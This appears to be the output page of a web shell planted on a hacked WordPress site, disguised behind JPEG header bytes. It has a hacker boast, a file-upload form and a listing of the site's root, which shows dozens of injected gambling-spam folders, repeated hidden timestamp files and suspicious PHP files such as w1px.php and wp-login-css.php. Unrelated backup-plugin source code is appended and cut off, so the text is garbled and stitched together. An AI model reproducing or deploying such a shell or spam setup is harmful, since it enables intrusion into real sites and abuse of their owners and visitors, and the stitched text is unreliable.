ÿØÿÛ C
iamH4CKEERRRRRRRRRRRS
I am a hacker in the dark of a very cold night
path :/home/www/kinleysgarage.co.uk
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .1745560516 | 80 KB | April 25 2025 05:55:16 | 0644 |
|
| .1745565040 | 80 KB | April 25 2025 07:10:40 | 0644 |
|
| .1745568656 | 80 KB | April 25 2025 08:10:56 | 0644 |
|
| .1745572277 | 80 KB | April 25 2025 09:11:17 | 0644 |
|
| .1745575899 | 80 KB | April 25 2025 10:11:39 | 0644 |
|
| .1745579514 | 80 KB | April 25 2025 11:11:54 | 0644 |
|
| .1745583133 | 80 KB | April 25 2025 12:12:13 | 0644 |
|
| .1745586759 | 80 KB | April 25 2025 13:12:39 | 0644 |
|
| .1745590387 | 80 KB | April 25 2025 14:13:07 | 0644 |
|
| .1745594004 | 80 KB | April 25 2025 15:13:24 | 0644 |
|
| .1745595958 | 80 KB | April 25 2025 15:45:58 | 0644 |
|
| .1745596080 | 80 KB | April 25 2025 15:48:00 | 0644 |
|
| .1745596322 | 80 KB | April 25 2025 15:52:02 | 0644 |
|
| .1745596415 | 80 KB | April 25 2025 15:53:35 | 0644 |
|
| .1745597625 | 80 KB | April 25 2025 16:13:45 | 0644 |
|
| .1745624775 | 80 KB | April 25 2025 23:46:15 | 0644 |
|
| .1745626192 | 80 KB | April 26 2025 00:09:52 | 0644 |
|
| .1745626576 | 80 KB | April 26 2025 00:16:16 | 0644 |
|
| .1745630191 | 80 KB | April 26 2025 01:16:31 | 0644 |
|
| .1745633808 | 80 KB | April 26 2025 02:16:48 | 0644 |
|
| .1745637431 | 80 KB | April 26 2025 03:17:11 | 0644 |
|
| .1745639200 | 80 KB | April 26 2025 03:46:40 | 0644 |
|
| .1745639764 | 80 KB | April 26 2025 03:56:04 | 0644 |
|
| .1745640126 | 80 KB | April 26 2025 04:02:06 | 0644 |
|
| .1745641940 | 80 KB | April 26 2025 04:32:20 | 0644 |
|
| .1745646463 | 80 KB | April 26 2025 05:47:43 | 0644 |
|
| .1745650080 | 80 KB | April 26 2025 06:48:00 | 0644 |
|
| .1745653695 | 80 KB | April 26 2025 07:48:15 | 0644 |
|
| .1745657308 | 80 KB | April 26 2025 08:48:28 | 0644 |
|
| .1745660924 | 80 KB | April 26 2025 09:48:44 | 0644 |
|
| .1745664550 | 80 KB | April 26 2025 10:49:10 | 0644 |
|
| .1745668165 | 80 KB | April 26 2025 11:49:25 | 0644 |
|
| .1745671661 | 80 KB | April 26 2025 12:47:41 | 0644 |
|
| .1745671780 | 80 KB | April 26 2025 12:49:40 | 0644 |
|
| .1745673851 | 80 KB | April 26 2025 13:24:11 | 0644 |
|
| .1745674527 | 80 KB | April 26 2025 13:35:27 | 0644 |
|
| .1745675395 | 80 KB | April 26 2025 13:49:55 | 0644 |
|
| .1745679014 | 80 KB | April 26 2025 14:50:14 | 0644 |
|
| .1745682470 | 80 KB | April 26 2025 15:47:50 | 0644 |
|
| .1745683532 | 80 KB | April 26 2025 16:05:32 | 0644 |
|
| .1745688046 | 80 KB | April 26 2025 17:20:46 | 0644 |
|
| .1745691667 | 80 KB | April 26 2025 18:21:07 | 0644 |
|
| .1745696177 | 80 KB | April 26 2025 19:36:17 | 0644 |
|
| .1745699110 | 80 KB | April 26 2025 20:25:10 | 0644 |
|
| .1745699666 | 80 KB | April 26 2025 20:34:26 | 0644 |
|
| .1745699791 | 80 KB | April 26 2025 20:36:31 | 0644 |
|
| .1745703405 | 80 KB | April 26 2025 21:36:45 | 0644 |
|
| .1745707022 | 80 KB | April 26 2025 22:37:02 | 0644 |
|
| .1745711537 | 80 KB | April 26 2025 23:52:17 | 0644 |
|
| .1745715157 | 80 KB | April 27 2025 00:52:37 | 0644 |
|
| .1745718772 | 80 KB | April 27 2025 01:52:52 | 0644 |
|
| .1745722404 | 80 KB | April 27 2025 02:53:24 | 0644 |
|
| .1745725749 | 80 KB | April 27 2025 03:49:09 | 0644 |
|
| .1745726926 | 80 KB | April 27 2025 04:08:46 | 0644 |
|
| .1745730546 | 80 KB | April 27 2025 05:09:06 | 0644 |
|
| .1745734162 | 80 KB | April 27 2025 06:09:22 | 0644 |
|
| .1745738677 | 80 KB | April 27 2025 07:24:37 | 0644 |
|
| .1745742290 | 80 KB | April 27 2025 08:24:50 | 0644 |
|
| .1745746801 | 80 KB | April 27 2025 09:40:01 | 0644 |
|
| .1745751312 | 80 KB | April 27 2025 10:55:12 | 0644 |
|
| .1745754927 | 80 KB | April 27 2025 11:55:27 | 0644 |
|
| .1745758547 | 80 KB | April 27 2025 12:55:47 | 0644 |
|
| .1745762169 | 80 KB | April 27 2025 13:56:09 | 0644 |
|
| .1745765786 | 80 KB | April 27 2025 14:56:26 | 0644 |
|
| .1745769019 | 80 KB | April 27 2025 15:50:19 | 0644 |
|
| .1745769400 | 80 KB | April 27 2025 15:56:40 | 0644 |
|
| .1745773015 | 80 KB | April 27 2025 16:56:55 | 0644 |
|
| .1745775178 | 80 KB | April 27 2025 17:32:58 | 0644 |
|
| .1745775916 | 80 KB | April 27 2025 17:45:16 | 0644 |
|
| .1745776504 | 80 KB | April 27 2025 17:55:04 | 0644 |
|
| .1745776507 | 80 KB | April 27 2025 17:55:07 | 0644 |
|
| .1745777527 | 80 KB | April 27 2025 18:12:07 | 0644 |
|
| .1745782043 | 80 KB | April 27 2025 19:27:23 | 0644 |
|
| .1745786548 | 80 KB | April 27 2025 20:42:28 | 0644 |
|
| .1745791056 | 80 KB | April 27 2025 21:57:36 | 0644 |
|
| .1745794675 | 80 KB | April 27 2025 22:57:55 | 0644 |
|
| .1745798288 | 80 KB | April 27 2025 23:58:08 | 0644 |
|
| .1745801911 | 80 KB | April 28 2025 00:58:31 | 0644 |
|
| .1745805525 | 80 KB | April 28 2025 01:58:45 | 0644 |
|
| .1745809142 | 80 KB | April 28 2025 02:59:02 | 0644 |
|
| .1745812276 | 80 KB | April 28 2025 03:51:16 | 0644 |
|
| .1745812756 | 80 KB | April 28 2025 03:59:16 | 0644 |
|
| .1745816371 | 80 KB | April 28 2025 04:59:31 | 0644 |
|
| .1745820883 | 80 KB | April 28 2025 06:14:43 | 0644 |
|
| .1745824505 | 80 KB | April 28 2025 07:15:05 | 0644 |
|
| .1745829025 | 80 KB | April 28 2025 08:30:25 | 0644 |
|
| .1745832646 | 80 KB | April 28 2025 09:30:46 | 0644 |
|
| .1745836274 | 80 KB | April 28 2025 10:31:14 | 0644 |
|
| .1745839900 | 80 KB | April 28 2025 11:31:40 | 0644 |
|
| .1745843526 | 80 KB | April 28 2025 12:32:06 | 0644 |
|
| .1745847147 | 80 KB | April 28 2025 13:32:27 | 0644 |
|
| .1745850770 | 80 KB | April 28 2025 14:32:50 | 0644 |
|
| .1745854387 | 80 KB | April 28 2025 15:33:07 | 0644 |
|
| .1745858007 | 80 KB | April 28 2025 16:33:27 | 0644 |
|
| .1745861631 | 80 KB | April 28 2025 17:33:51 | 0644 |
|
| .1745865253 | 80 KB | April 28 2025 18:34:13 | 0644 |
|
| .1745868873 | 80 KB | April 28 2025 19:34:33 | 0644 |
|
| .1745872488 | 80 KB | April 28 2025 20:34:48 | 0644 |
|
| .1745875365 | 80 KB | April 28 2025 21:22:45 | 0644 |
|
| .1745876104 | 80 KB | April 28 2025 21:35:04 | 0644 |
|
| .1745876898 | 80 KB | April 28 2025 21:48:18 | 0644 |
|
| .1745879727 | 80 KB | April 28 2025 22:35:27 | 0644 |
|
| .1745883347 | 80 KB | April 28 2025 23:35:47 | 0644 |
|
| .1745886978 | 80 KB | April 29 2025 00:36:18 | 0644 |
|
| .1745890609 | 80 KB | April 29 2025 01:36:49 | 0644 |
|
| .1745894226 | 80 KB | April 29 2025 02:37:06 | 0644 |
|
| .1745898747 | 80 KB | April 29 2025 03:52:27 | 0644 |
|
| .1745901445 | 80 KB | April 29 2025 04:37:25 | 0644 |
|
| .1745902373 | 80 KB | April 29 2025 04:52:53 | 0644 |
|
| .1745905999 | 80 KB | April 29 2025 05:53:19 | 0644 |
|
| .1745909628 | 80 KB | April 29 2025 06:53:48 | 0644 |
|
| .1745913253 | 80 KB | April 29 2025 07:54:13 | 0644 |
|
| .1745917764 | 80 KB | April 29 2025 09:09:24 | 0644 |
|
| .1745921386 | 80 KB | April 29 2025 10:09:46 | 0644 |
|
| .1745925905 | 80 KB | April 29 2025 11:25:05 | 0644 |
|
| .1745929519 | 80 KB | April 29 2025 12:25:19 | 0644 |
|
| .1745931243 | 80 KB | April 29 2025 12:54:03 | 0644 |
|
| .1745934028 | 80 KB | April 29 2025 13:40:28 | 0644 |
|
| .1745937648 | 80 KB | April 29 2025 14:40:48 | 0644 |
|
| .1745942159 | 80 KB | April 29 2025 15:55:59 | 0644 |
|
| .1745945775 | 80 KB | April 29 2025 16:56:15 | 0644 |
|
| .1745950287 | 80 KB | April 29 2025 18:11:27 | 0644 |
|
| .1745952613 | 80 KB | April 29 2025 18:50:13 | 0644 |
|
| .1745954804 | 80 KB | April 29 2025 19:26:44 | 0644 |
|
| .1745959314 | 80 KB | April 29 2025 20:41:54 | 0644 |
|
| .1745962932 | 80 KB | April 29 2025 21:42:12 | 0644 |
|
| .1745966545 | 80 KB | April 29 2025 22:42:25 | 0644 |
|
| .htaccess | 243 KB | April 07 2026 03:59:08 | 0644 |
|
| .htacl | 92 KB | March 29 2026 20:14:08 | 0644 |
|
| .lock | 756 KB | April 24 2025 17:50:49 | 0644 |
|
| .multi | 0 KB | April 25 2025 15:47:56 | 0644 |
|
| .tmb | - | April 08 2025 21:25:54 | 0777 |
|
| Agen-Mix-Parlay | - | April 29 2025 13:00:48 | 0755 |
|
| Agen-Sbobet | - | May 01 2025 15:08:14 | 0755 |
|
| Agen-Slot-Gacor | - | April 25 2025 15:53:06 | 0755 |
|
| Alternatif-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Judi-Bola | - | May 09 2025 02:01:51 | 0755 |
|
| Alternatif-Mix-Parlay | - | April 27 2025 03:58:11 | 0755 |
|
| Alternatif-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Slot | - | April 28 2025 03:57:42 | 0755 |
|
| Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Judi-Bola | - | April 26 2025 03:54:12 | 0755 |
|
| Judi-Casino | - | April 25 2025 03:57:40 | 0755 |
|
| Link-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Judi-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Slot | - | April 26 2025 15:54:54 | 0755 |
|
| Live-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Mix-Parlay | - | April 26 2025 03:54:15 | 0755 |
|
| Mix-Parlay-Online | - | May 08 2025 19:04:47 | 0755 |
|
| Mix-Parlay-Resmi | - | May 09 2025 02:03:02 | 0755 |
|
| Piala-Dunia-2026 | - | April 18 2025 14:04:53 | 0755 |
|
| RTP-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet | - | April 25 2025 15:53:09 | 0755 |
|
| Sbobet-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Sbobet | - | April 24 2025 07:51:25 | 0755 |
|
| Situs-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Maxwin | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Judi-Bola | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| core | 11759616 KB | April 29 2025 12:54:31 | 0600 |
|
| license.txt | 19915 KB | December 31 2023 18:02:20 | 0644 |
|
| readme.html | 7409 KB | June 18 2024 05:59:14 | 0644 |
|
| robots.txt | 93 KB | April 17 2025 06:39:58 | 0644 |
|
| sitemap.xml | 7885 KB | April 17 2025 06:39:58 | 0644 |
|
| w1px.php | 26454 KB | March 16 2026 11:38:18 | 0644 |
|
| wp-activate.php | 7387 KB | February 13 2024 08:19:10 | 0644 |
|
| wp-admin | - | April 23 2025 17:29:53 | 0755 |
|
| wp-blog-header.php | 351 KB | May 01 2025 14:59:24 | 0644 |
|
| wp-comments-post.php | 2323 KB | June 14 2023 08:11:16 | 0644 |
|
| wp-config-sample.php | 3336 KB | October 15 2024 09:24:18 | 0644 |
|
| wp-config.php | 3177 KB | May 07 2025 13:18:17 | 0644 |
|
| wp-content | - | April 14 2025 13:14:49 | 0755 |
|
| wp-cron.php | 5617 KB | April 29 2025 12:54:28 | 0644 |
|
| wp-includes | - | April 07 2026 03:57:15 | 0755 |
|
| wp-links-opml.php | 2502 KB | November 26 2022 15:01:18 | 0644 |
|
| wp-load.php | 14301 KB | May 08 2025 13:19:24 | 0644 |
|
| wp-login-css.php | 265113 KB | April 23 2025 15:28:26 | 0644 |
|
| wp-login.php | 51611 KB | September 30 2024 13:12:14 | 0644 |
|
| wp-mail.php | 8543 KB | September 18 2024 16:37:16 | 0644 |
|
| wp-settings.php | 29032 KB | May 07 2025 13:21:11 | 0644 |
|
| wp-signup.php | 34385 KB | June 19 2023 12:27:28 | 0644 |
|
| wp-trackback.php | 5102 KB | October 18 2024 09:56:18 | 0644 |
|
| xmlrpc.php | 3246 KB | March 02 2024 07:49:06 | 0644 |
|
.
*
* ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗
* ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
* ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝
* ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
* ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗
* ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
*/
/**
* Get storage absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_storage_path( $params ) {
if ( empty( $params['storage'] ) ) {
throw new Ai1wm_Storage_Exception( __( 'Unable to locate storage path. Technical details', AI1WM_PLUGIN_NAME ) );
}
// Get storage path
$storage = AI1WM_STORAGE_PATH . DIRECTORY_SEPARATOR . basename( $params['storage'] );
if ( ! is_dir( $storage ) ) {
mkdir( $storage );
}
return $storage;
}
/**
* Get backup absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_backup_path( $params ) {
if ( empty( $params['archive'] ) ) {
throw new Ai1wm_Archive_Exception( __( 'Unable to locate archive path. Technical details', AI1WM_PLUGIN_NAME ) );
}
// Validate archive path
if ( validate_file( $params['archive'] ) !== 0 ) {
throw new Ai1wm_Archive_Exception( __( 'Invalid archive path. Technical details', AI1WM_PLUGIN_NAME ) );
}
return AI1WM_BACKUPS_PATH . DIRECTORY_SEPARATOR . $params['archive'];
}
/**
* Get archive absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_archive_path( $params ) {
if ( empty( $params['archive'] ) ) {
throw new Ai1wm_Archive_Exception( __( 'Unable to locate archive path. Technical details', AI1WM_PLUGIN_NAME ) );
}
// Validate archive path
if ( validate_file( $params['archive'] ) !== 0 ) {
throw new Ai1wm_Archive_Exception( __( 'Invalid archive path. Technical details', AI1WM_PLUGIN_NAME ) );
}
// Get archive path
if ( empty( $params['ai1wm_manual_restore'] ) ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . $params['archive'];
}
return ai1wm_backup_path( $params );
}
/**
* Get export log absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_export_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_EXPORT_NAME;
}
/**
* Get import log absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_import_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_IMPORT_NAME;
}
/**
* Get multipart.list absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_multipart_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_MULTIPART_NAME;
}
/**
* Get filemap.list absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_filemap_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_FILEMAP_NAME;
}
/**
* Get package.json absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_package_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_PACKAGE_NAME;
}
/**
* Get multisite.json absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_multisite_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_MULTISITE_NAME;
}
/**
* Get blogs.json absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_blogs_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_BLOGS_NAME;
}
/**
* Get settings.json absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_settings_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_SETTINGS_NAME;
}
/**
* Get database.sql absolute path
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_database_path( $params ) {
return ai1wm_storage_path( $params ) . DIRECTORY_SEPARATOR . AI1WM_DATABASE_NAME;
}
/**
* Get error log absolute path
*
* @return string
*/
function ai1wm_error_path() {
return AI1WM_STORAGE_PATH . DIRECTORY_SEPARATOR . AI1WM_ERROR_NAME;
}
/**
* Get WordPress content directory
*
* @param string $path Relative path
* @return string
*/
function ai1wm_content_path( $path = null ) {
if ( empty( $path ) ) {
return WP_CONTENT_DIR;
}
return WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $path;
}
/**
* Get archive name
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_archive_name( $params ) {
return basename( $params['archive'] );
}
/**
* Get backup URL address
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_backup_url( $params ) {
return AI1WM_BACKUPS_URL . '/' . str_replace( DIRECTORY_SEPARATOR, '/', $params['archive'] );
}
/**
* Get archive size in bytes
*
* @param array $params Request parameters
* @return integer
*/
function ai1wm_archive_bytes( $params ) {
return filesize( ai1wm_archive_path( $params ) );
}
/**
* Get backup size in bytes
*
* @param array $params Request parameters
* @return integer
*/
function ai1wm_backup_bytes( $params ) {
return filesize( ai1wm_backup_path( $params ) );
}
/**
* Get database size in bytes
*
* @param array $params Request parameters
* @return integer
*/
function ai1wm_database_bytes( $params ) {
return filesize( ai1wm_database_path( $params ) );
}
/**
* Get package size in bytes
*
* @param array $params Request parameters
* @return integer
*/
function ai1wm_package_bytes( $params ) {
return filesize( ai1wm_package_path( $params ) );
}
/**
* Get multisite size in bytes
*
* @param array $params Request parameters
* @return integer
*/
function ai1wm_multisite_bytes( $params ) {
return filesize( ai1wm_multisite_path( $params ) );
}
/**
* Get archive size as text
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_archive_size( $params ) {
return size_format( filesize( ai1wm_archive_path( $params ) ) );
}
/**
* Get backup size as text
*
* @param array $params Request parameters
* @return string
*/
function ai1wm_backup_size( $params ) {
return size_format( filesize( ai1wm_backup_path( $params ) ) );
}
/**
* Parse file size
*
* @param string $size File size
* @param string $default Default size
* @return string
*/
function ai1wm_parse_size( $size, $default = null ) {
$suffixes = array(
'' => 1,
'k' => 1000,
'm' => 1000000,
'g' => 1000000000,
);
// Parse size format
if ( preg_match( '/([0-9]+)\s*(k|m|g)?(b?(ytes?)?)/i', $size, $match ) ) {
return $match[1] * $suffixes[ strtolower( $match[2] ) ];
}
return $default;
}
/**
* Get current site name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_site_name( $blog_id = null ) {
return parse_url( get_site_url( $blog_id ), PHP_URL_HOST );
}
/**
* Get archive file name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_file( $blog_id = null ) {
$name = array();
// Add domain
$name[] = parse_url( get_site_url( $blog_id ), PHP_URL_HOST );
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
// Add year, month and day
$name[] = date( 'Ymd' );
// Add hours, minutes and seconds
$name[] = date( 'His' );
// Add unique identifier
$name[] = rand( 100, 999 );
return sprintf( '%s.wpress', strtolower( implode( '-', $name ) ) );
}
/**
* Get archive folder name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_folder( $blog_id = null ) {
$name = array();
// Add domain
$name[] = parse_url( get_site_url( $blog_id ), PHP_URL_HOST );
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
return strtolower( implode( '-', $name ) );
}
/**
* Get archive bucket name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_bucket( $blog_id = null ) {
$name = array();
// Add domain
if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) {
foreach ( $domain as $subdomain ) {
if ( $subdomain ) {
$name[] = $subdomain;
}
}
}
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
return strtolower( implode( '-', $name ) );
}
/**
* Get archive vault name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_vault( $blog_id = null ) {
$name = array();
// Add domain
if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) {
foreach ( $domain as $subdomain ) {
if ( $subdomain ) {
$name[] = $subdomain;
}
}
}
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
return strtolower( implode( '-', $name ) );
}
/**
* Get archive project name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_project( $blog_id = null ) {
$name = array();
// Add domain
if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) {
foreach ( $domain as $subdomain ) {
if ( $subdomain ) {
$name[] = $subdomain;
}
}
}
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
return strtolower( implode( '-', $name ) );
}
/**
* Get archive share name
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_archive_share( $blog_id = null ) {
$name = array();
// Add domain
if ( ( $domain = explode( '.', parse_url( get_site_url( $blog_id ), PHP_URL_HOST ) ) ) ) {
foreach ( $domain as $subdomain ) {
if ( $subdomain ) {
$name[] = $subdomain;
}
}
}
// Add path
if ( ( $path = explode( '/', parse_url( get_site_url( $blog_id ), PHP_URL_PATH ) ) ) ) {
foreach ( $path as $directory ) {
if ( $directory ) {
$name[] = $directory;
}
}
}
return strtolower( implode( '-', $name ) );
}
/**
* Get storage folder name
*
* @return string
*/
function ai1wm_storage_folder() {
return uniqid();
}
/**
* Check whether blog ID is main site
*
* @param integer $blog_id Blog ID
* @return boolean
*/
function ai1wm_main_site( $blog_id = null ) {
return $blog_id === null || $blog_id === 0 || $blog_id === 1;
}
/**
* Get sites absolute path by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_sites_path( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return AI1WM_UPLOADS_PATH;
}
return AI1WM_SITES_PATH . DIRECTORY_SEPARATOR . $blog_id;
}
/**
* Get files absolute path by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_files_path( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return AI1WM_UPLOADS_PATH;
}
return AI1WM_BLOGSDIR_PATH . DIRECTORY_SEPARATOR . $blog_id . DIRECTORY_SEPARATOR . 'files';
}
/**
* Get blogs.dir absolute path by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_blogsdir_path( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return '/wp-content/uploads/';
}
return "/wp-content/blogs.dir/{$blog_id}/files/";
}
/**
* Get blogs.dir URL by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_blogsdir_url( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return get_site_url( $blog_id, '/wp-content/uploads/' );
}
return get_site_url( $blog_id, "/wp-content/blogs.dir/{$blog_id}/files/" );
}
/**
* Get uploads absolute path by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_uploads_path( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return '/wp-content/uploads/';
}
return "/wp-content/uploads/sites/{$blog_id}/";
}
/**
* Get uploads URL by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_uploads_url( $blog_id = null ) {
if ( ai1wm_main_site( $blog_id ) ) {
return get_site_url( $blog_id, '/wp-content/uploads/' );
}
return get_site_url( $blog_id, "/wp-content/uploads/sites/{$blog_id}/" );
}
/**
* Get ServMask table prefix by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_servmask_prefix( $blog_id = null ) {
// Set base table prefix
if ( ai1wm_main_site( $blog_id ) ) {
return AI1WM_TABLE_PREFIX;
}
return AI1WM_TABLE_PREFIX . $blog_id . '_';
}
/**
* Get WordPress table prefix by blog ID
*
* @param integer $blog_id Blog ID
* @return string
*/
function ai1wm_table_prefix( $blog_id = null ) {
global $wpdb;
// Set base table prefix
if ( ai1wm_main_site( $blog_id ) ) {
return $wpdb->base_prefix;
}
return $wpdb->base_prefix . $blog_id . '_';
}
/**
* Get default content filters
*
* @param array $filters List of files and directories
* @return array
*/
function ai1wm_content_filters( $filters = array() ) {
return array_merge( $filters, array(
AI1WM_BACKUPS_NAME,
AI1WM_PACKAGE_NAME,
AI1WM_MULTISITE_NAME,
AI1WM_DATABASE_NAME,
) );
}
/**
* Get default plugin filters
*
* @param array $filters List of plugins
* @return array
*/
function ai1wm_plugin_filters( $filters = array() ) {
// WP Migration Plugin
if ( defined( 'AI1WM_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WM_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration';
}
// Microsoft Azure Extension
if ( defined( 'AI1WMZE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMZE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-azure-storage-extension';
}
// Backblaze B2 Extension
if ( defined( 'AI1WMAE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMAE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-b2-extension';
}
// Box Extension
if ( defined( 'AI1WMBE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMBE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-box-extension';
}
// DigitalOcean Extension
if ( defined( 'AI1WMIE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMIE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-digitalocean-extension';
}
// Dropbox Extension
if ( defined( 'AI1WMDE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMDE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-dropbox-extension';
}
// FTP Extension
if ( defined( 'AI1WMFE_PLUGIN_BASENAME' ) ) {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . dirname( AI1WMFE_PLUGIN_BASENAME );
} else {
$filters[] = 'plugins' . DIRECTORY_SEPARATOR . 'all-in-one-wp-migration-ftp-extension';
}
// Google Cloud Storage Extension
if ( defined( 'AI1WMCE_PLUGIN_BASENAME' ) ) {
